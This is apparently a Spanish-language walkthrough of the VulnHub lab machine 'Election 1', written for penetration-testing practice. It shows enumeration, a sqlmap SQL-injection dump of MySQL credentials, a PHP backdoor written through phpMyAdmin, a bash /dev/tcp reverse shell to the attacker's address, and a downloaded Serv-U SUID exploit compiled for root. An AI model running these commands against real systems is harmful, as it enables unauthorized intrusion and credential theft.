Inicio Election 1 VulnHub Write-up
Entrada
Cancelar

Election 1 VulnHub Write-up

Resumen

¡Hola! En esta oportunidad vamos a resolver la máquina de VulnHub llamada Election, la cual tiene una dificultad media. Para lograr vulnerarla realizaremos lo siguiente:

  • Reconocimiento del sistema.
  • Fuzzing para encontrar los directorios web.
  • Credenciales expuestas en binario.
  • Explotación de SQLi con sqlmap.
  • Abuso de phpMyAdmin para subir archivo malicioso a la web.
  • Abuso de archivo SUID para escalar privilegios (Serv -U).

Reconocimiento y Enumeración

Escaneamos nuestro target:

1
2
sudo nmap -p- -sS --open --min-rate 2000 -n -Pn 172.26.65.86 -oG captura

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
nmap -sVC -p22,80 172.26.65.86 -oN ports

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20d1ed84cc68a5a786f0dab8923fd967 (RSA)
|   256 7889b3a2751276922af98d27c108a7b9 (ECDSA)
|_  256 b8f4d661cf1690c5071899b07c70fdc0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vemos que solo está abierto el puerto 22 y 80, vamos a enumerar informacicón sobre esta página http con whatweb:

1
2
whatweb http://172.26.65.86
http://172.26.65.86 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[172.26.65.86], Title[Apache2 Ubuntu Default Page: It works]

Vemos poca cosa, vamos a ver el sitio, al parecer es la típica plantilla de apache cuando recien está instalado:

Efectivamente, poco podemos hacer por acá, por lo tanto, vamos a realizar fuzzing para descubrir directorios:

1
2
gobuster dir -u http://172.26.65.86 -t 100 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

Descubrimos algunos directorios:

1
2
3
4
/javascript           (Status: 301) [Size: 317] [--> http://172.26.65.86/javascript/]
/election             (Status: 301) [Size: 315] [--> http://172.26.65.86/election/]
/phpmyadmin           (Status: 301) [Size: 317] [--> http://172.26.65.86/phpmyadmin/]
/server-status 

Nos llama la atención election y phpmyadmin, para phpmyadmin aún no tenemos credenciales así que iremos por election:

Vemos lo que es al parecer un CMS, antes de realizar cualquier cosa vamos a buscar alguna vulnerabilidad asociada usando searchsploit:

1
2
3
4
5
6
7
8
9
 Exploit Title                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Adobe Flash - Selection.setFocus Use-After-Free                                                                                  | multiple/dos/40307.txt
Adobe Flash Selection.SetSelection - Use-After-Free                                                                              | windows_x86-64/dos/39043.txt
eLection 2.0 - 'id' SQL Injection                                                                                                | php/webapps/48122.txt
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - 'set_selection()' UTF-8 Off-by-One P | linux_x86-64/local/9083.c
Microsoft Internet Explorer 9 - IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location Use-After-Free (MS13-0 | windows/dos/40907.html
Microsoft Windows Server 2003 - AD BROWSER ELECTION Remote Heap Overflow                                                         | windows/dos/16166.py
SunView (SunOS 4.1.1) - 'selection_svc' Remote File Read                                                                         | solaris/remote/19040.txt

Vemos algo de Election 2.0 donde se tiene un parámetro id vulnerable a SQLi, sin embargo, aun no sabemos en qué contexto es esto, por lo tanto, vamos a seguir enumerando:

1
gobuster dir -u http://172.26.65.86/election -t 100 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

Como resultado de fuzzear bajo el directorio election tenemos:

1
2
3
4
5
6
7
/data                 (Status: 301) [Size: 320] [--> http://172.26.65.86/election/data/]
/admin                (Status: 301) [Size: 321] [--> http://172.26.65.86/election/admin/]
/lib                  (Status: 301) [Size: 319] [--> http://172.26.65.86/election/lib/]
/media                (Status: 301) [Size: 321] [--> http://172.26.65.86/election/media/]
/languages            (Status: 301) [Size: 325] [--> http://172.26.65.86/election/languages/]
/js                   (Status: 301) [Size: 318] [--> http://172.26.65.86/election/js/]
/themes               (Status: 301) [Size: 322] [--> http://172.26.65.86/election/themes/]

Vemos algunos directorios interesantes, vamos a revisar data y admin:

No encontramos nada en data, vamos a revisar admin:

Vemos que necesitamos algún id, sin embargo, no es el id de la SQLi, vamos a seguir enumerando para saber por donde tenemos que movernos:

1
gobuster dir -u http://172.26.65.86/election/admin -t 100 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php

Si fuzzeamos por extensiones de archivos, en este caso php, encontramos lo siguiente:

1
2
3
4
5
6
7
8
/themes               (Status: 301) [Size: 322] [--> http://172.26.65.86/election/themes/]
/data                 (Status: 301) [Size: 320] [--> http://172.26.65.86/election/data/]
/admin                (Status: 301) [Size: 321] [--> http://172.26.65.86/election/admin/]
/lib                  (Status: 301) [Size: 319] [--> http://172.26.65.86/election/lib/]
/languages            (Status: 301) [Size: 325] [--> http://172.26.65.86/election/languages/]
/js                   (Status: 301) [Size: 318] [--> http://172.26.65.86/election/js/]
/.php                 (Status: 403) [Size: 277]
/card.php             (Status: 200) [Size: 1935]

Explotación

Encontramos un directorio llamado card.php, vamos a ver de qué se trata:

Bueno, tenemos lo que parecer ser un mensaje en binario, vamos a ver si dice algo importante:

Tenemos más binario, si lo transformamos una vez más:

Tenemos unas credenciales, podría referirse al panel de admin que vimos anteriormente o quizás a las credenciales por ssh, vamos a probar primero para el panel admin:

Vemos que el código 1234 corresponde al administrador llamado Love, vamos a ingresar la password:

Hemos entrado, acá debe ser donde se produzca la SQLi, vamos a revisar el script para tener más información:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /election/admin/ajax/op_kandidat.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/election/admin/kandidat.php?_
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
Cookie: el_listing_panitia=5; el_mass_adding=false; el_listing_guru=5; el_listing_siswa=5; PHPSESSID=b4f0c3bbccd80e9d55fbe0269a29f96a; el_lang=en-us

aksi=fetch&id=256

Nos dicen que al tramitar esta petición, en el parámetro id existe una SQLi, vamos a buscar en qué sección de la página tramitamos dicha petición:

Vemos que arriba nos dice algo de kandidat que es un recurso al cual se le envía la petición POST, vamos a intentar editar la información y capturar la petición por brupsuite:

Vemos que tiene la misma estructura que la petición que hablaba el txt de la vulnerabilidad, por lo tanto, tiene que ser esta. Podemos hacer la prueba haciendo manual, pero en esta oportunidad vamos a utilizar slqmap para enumerar la información, vamos a exportar la petición de burpsuite y se la pasamos a sqlmap:

1
sqlmap -r SQLi --dbs --batch

Vamos a enumerar las bases de datos.

1
2
3
4
5
available databases [4]:                                                                                                                                          
[*] election
[*] information_schema
[*] mysql
[*] performance_schema

Si enumeramos election, no encontraremos demasiada información:

1
2
3
4
5
+----+------+---------+----------+----------------------------------+
| id | nama | level   | no_induk | password                         |
+----+------+---------+----------+----------------------------------+
| 1  | Love | 1       | 1234     | bb113886b0513a9d882e3caa5cd73314 |
+----+------+---------+----------+----------------------------------+

Encontramos esto, pero deben ser las credenciales para entrar al panel de election.

Asi que vamos a buscar información en mysql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sqlmap -r SQLi -D mysql --tables --batch

+---------------------------+
| user                      |
| column_stats              |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| gtid_slave_pos            |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| index_stats               |
| innodb_index_stats        |

Encontramos muchas tablas, pero una nos llama la atención que es la user, vamos a ver qué contiene:

1
2
3
4
5
6
7
sudo sqlmap -r SQLi -D mysql -T user --dump --batch

------------+----------------------+-----------------------+-----------------------+------------------------+
| Host      | User    | plugin                | is_role | Password                                             Execute_priv | Process_priv | Show_db_priv | Trigger_priv | default_role | x509_subject | Shutdown_priv | max_qoutine_priv | max_user_connections | Create_tmp_table_priv | authentication_string | Create_tablespace_priv |
+-----------+---------+-----------------------+---------+-------------------------------------------------------------------+--------------+--------------+--------------+--------------+--------------+---------------+------------------+----------------------+-----------------------+-----------------------+------------------------+
| localhost | root    | mysql_native_password | N       | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 (toor)     Y            | Y            | Y            | Y            | <blank>      | <blank>      | Y             | 0                | 0                    | Y                     | <blank>               | Y                      |
| localhost | newuser | <blank>               | N       | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password) Y            | Y            | Y            | Y            | <blank>      | <blank>      | Y             | 0                | 0                    | Y                     | <blank>               | Y                      |

Vemos que para el usuario root, la contraseña es toor, vamos a probarla en el panel de phpmyadmin:

Hemos entrado, ya estamos practicamente, lo que tenemos que pensar ahora es en cómo podemos ganar acceso al sistema, y para ello vamos a crear un nuevo archivo que será nuestro backdoor, sabemos que la web nos permite ejecutar código php, por lo tanto, intentaremos subir un archivo php malicioso a la web utilizando sql.

Lo primero que haremos será ingresar a la parte de election en phpmyadmin:

Nos situamos en la pestaña de SQL para crear una query, y vamos a usar la función into outfile para guardar nuestro código php, y la ruta donde lo guardaremos será la típica ruta en linux /var/www/html/, así que vamos a probar:

Vamos a darle a go.

Si todo ha salido bien, deberiamos tenemos entonces un nuevo directorio llamado backdoor.php en la página web, donde seremos capaces de injectar comandos:

Vemos que no sale nada, pero no dice que no existe, esto es una buena señal pues debería estar interpretando el código php, vamos entonces a intentar injectar código:

Excelente, tenemos RCE ahora solo falta ganar acceso al sistema, prepararemos nuestro listener en el puerto 1234 y en la web pondremos:

1
http://172.26.65.86/backdoor.php?cmd=bash -c 'bash -i >%26 /dev/tcp/172.26.70.49/1234 0>%261'

Al mandar la solicitud veremos que llegó una conexión:

1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [172.26.70.49] from (UNKNOWN) [172.26.65.86] 57552
bash: cannot set terminal process group (747): Inappropriate ioctl for device
bash: no job control in this shell
www-data@election:/var/www/html$ whoami
whoami
www-data

Bien, hemos ganado acceso al sistema, vamos a hacer un tratamiento de la tty y seguimos.

Escalada de privilegios

Con nuestra terminal lista, vamos a buscar posibles vectores para escalar privilegios:

1
2
3
4
www-data@election:/var/www/html$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@election:/var/www/html$ sudo -l
[sudo] password for www-data: 

Vamos a enumerar binarios SUID que quizás existan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@election:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/bin/arping
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/sbin/pppd
/usr/local/Serv-U/Serv-U
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/bin/fusermount

Aparecen muchos, sin embargo, hay uno que normalmente nunca está y es el Serv-U, si buscamos esto por searchsploit:

1
2
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)      | linux/local/47009.c
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)      | multiple/local/47173.sh

Vemos que existe una forma de escalar privilegios, vamos a intentarlo, nos traemos el .c a nuestro directorio con la flag -m.

Procedemos a compartir el archivo mediante un servidor http con python, en la máquina víctima haremos wget para descargarnos dicho archivo:

1
2
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Descargamos el archivo:

1
2
3
4
5
6
7
8
9
10
www-data@election:/tmp$ wget http://172.26.70.49/privesc.c
--2023-06-23 03:53:40--  http://172.26.70.49/privesc.c
Connecting to 172.26.70.49:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 588 [text/x-csrc]
Saving to: 'privesc.c'

privesc.c                                            100%[=====================================================================================================================>]     588  --.-KB/s    in 0s      

2023-06-23 03:53:40 (84.8 MB/s) - 'privesc.c' saved [588/588]

Nos descargamos el archivo en el directorio tmp para que no hayan problemas, vamos a compilarlo:

1
2
www-data@election:/tmp$ gcc privesc.c -o privesc
www-data@election:/tmp$ chmod +x privesc

Le damos permisos de ejecución y lo ejecutamos:

1
2
3
4
5
6
7
www-data@election:/tmp$ ./privesc 
uid=0(root) gid=0(root) groups=0(root),33(www-data)
opening root shell
# whoami
root
# cat /root/root.txt
5238feefc4ffe09645d97e9e

¡Listo! Hemos terminado la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.